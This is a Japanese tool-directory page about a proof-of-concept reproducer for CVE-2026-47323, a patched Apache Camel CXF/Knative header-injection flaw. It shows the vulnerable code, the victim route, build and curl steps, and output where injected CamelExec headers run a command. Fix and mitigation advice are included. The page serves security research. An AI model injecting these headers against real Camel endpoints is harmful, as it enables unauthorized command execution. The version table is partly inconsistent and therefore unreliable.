Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-47323 — CVE-2026-47323 の再現ツール: Apache Camel CXF/Knative の HeaderFilterStrategy にインバウンドフィルタリングが欠如しており、CXF-RS/CXF-SOAP/Knative エンドポイント経由で Camel コントロールヘッダーインジェクション(camel-exec による RCE)を可能にする(4.14.6/4.18.2/4.19.0 で修正済み) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-47323
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHuboscerd/cve-2026-47323

CVE-2026-47323

CVE-2026-47323 の再現ツール: Apache Camel CXF/Knative の HeaderFilterStrategy にインバウンドフィルタリングが欠如しており、CXF-RS/CXF-SOAP/Knative エンドポイント経由で Camel コントロールヘッダーインジェクション(camel-exec による RCE)を可能にする(4.14.6/4.18.2/4.19.0 で修正済み)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-cxf-rest / camel-cxf / camel-knative-http ヘッダーインジェクション再現プログラム (CVE-2026-47323)

このプロジェクトは、CVE-2026-47323 として追跡されている、Apache Camel の CXF および Knative HTTP ヘッダーフィルター戦略におけるメッセージヘッダーインジェクションを実証します。CxfRsHeaderFilterStrategy (camel-cxf-rest)、CxfHeaderFilterStrategy (camel-cxf-transport)、および KnativeHttpHeaderFilterStrategy (camel-knative-http) は、送信方向の Camel 内部ヘッダーのみをフィルタリングし (setOutFilterStartsWith)、受信方向のフィルタリング (setInFilterStartsWith) は設定しません。その結果、未認証の攻撃者は、CXF-RS または CXF-SOAP エンドポイントへの HTTP リクエストを介して Camel 内部ヘッダー (例: CamelExecCommandExecutable、CamelFileName) を注入できます。ルートがこれらのエンドポイントから camel-exec や camel-file などのヘッダー駆動コンポーネントへメッセージを転送する場合、注入されたヘッダーが設定値を上書きし、リモートコード実行や任意のファイル書き込みを可能にします。

この PoC は CXF-RS (JAX-RS) の攻撃面を使用します。注入された CamelExecCommandExecutable により、無害な echo が任意のコマンド実行に変わります。

アドバイザリ: https://camel.apache.org/security/CVE-2026-47323.html

脆弱性サマリー

この再現プログラムは camel を 4.18.1 に固定しています — これは 4.18.x 系で最後に影響を受けるリリースです (修正は 4.18.2 で導入されました)。 camel-undertow (CVE-2025-30177) やより広範な受信ヘッダーフィルター (CVE-2025-27636、 CVE-2025-29891)、非 HTTP 戦略 (CVE-2026-40453) と同じパターンです。

技術的詳細

root@kitploit:~
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)

// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0));   // <-- injected header lands here
    }
}

修正 (4.14.6 / 4.18.2 / 4.19.0) では、これらの戦略に setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) が追加され、受信方向の Camel* / camel* ヘッダーが破棄されます。

被害ルート

root@kitploit:~
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
    .to("exec:echo?args=hello")          // the author's fixed, harmless command
    .setBody(constant("ok\n"));

リクエストが固定のシェルコマンドに渡される JAX-RS エンドポイント (GET /service/api/ping)。camel-exec プロデューサーは、設定された echo よりも、受信した CamelExecCommandExecutable ヘッダーを優先します。

リポジトリ構成

すべてが単一の自己完結型アプリケーションで実行されます。CXF-RS エンドポイント、camel-exec シンク、攻撃者ドライバーです。

root@kitploit:~
CVE-2026-47323/
├── pom.xml                 # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── ApiResource.java        # JAX-RS contract: GET /api/ping
    │   ├── VictimRoute.java        # cxfrs consumer -> exec:echo
    │   └── ExploitController.java  # attacker: GET /ping with injected CamelExec* headers
    └── resources/
        └── application.properties

前提条件

  • Java 17+ と Maven 3.8+
  • Docker (任意。コンテナーで実行する場合)

再現手順

オプション A — Docker (推奨)

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned      # created by the injected command
docker compose down

オプション B — jar を直接実行する

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned

期待される出力

root@kitploit:~
marker before: false

=== 1) Legitimate request (no injected headers) ===
  response: ok
  marker created: false

=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true

攻撃ベクトル

CXF-RS、CXF-SOAP、または Knative-HTTP エンドポイントからヘッダー駆動プロデューサーへメッセージを転送する任意のルート。CamelExecCommandExecutable (camel-exec による RCE) に加えて、CamelFileName は camel-file を介した任意のファイル書き込みを可能にし、その他の Camel* 制御ヘッダーも他のプロデューサーを操作できます。

推奨される修正

4.14.6 / 4.18.2 / 4.19.0 にアップグレードしてください。影響を受ける戦略は setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) を設定するようになり、受信方向の Camel* ヘッダーが破棄されます。

緩和策

アップグレードまでの間、下流のプロデューサーに到達する前に受信メッセージから Camel 制御ヘッダーを除去し (ルートの先頭で .removeHeaders("Camel*") と .removeHeaders("camel*") を使用)、CXF / Knative エンドポイントで認証を必須にしてください。

免責事項

この再現プログラムは、公開され修正済みの脆弱性に関するセキュリティ研究および許可されたテスト専用として提供されています。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
コンポーネントcamel-cxf-rest (CxfRsHeaderFilterStrategy)、camel-cxf-transport (CxfHeaderFilterStrategy)、camel-knative-http (KnativeHttpHeaderFilterStrategy)
CWECWE-20: 不適切な入力検証
影響HTTP リクエストを介して Camel 制御ヘッダーを注入 → 下流のヘッダー駆動プロデューサーを上書き → RCE (camel-exec) または任意のファイル書き込み (camel-file)
前提条件ヘッダー駆動プロデューサーへ転送する CXF-RS / CXF-SOAP / Knative エンドポイント。エンドポイントが…の場合は未認証
影響を受けるバージョン3.18.0 から 4.14.6 未満、4.15.0 から 4.18.2 未満、4.19.0 (4.19.0 で修正)
修正済みバージョン4.14.6、4.18.2、4.19.0
発見者Quac Tran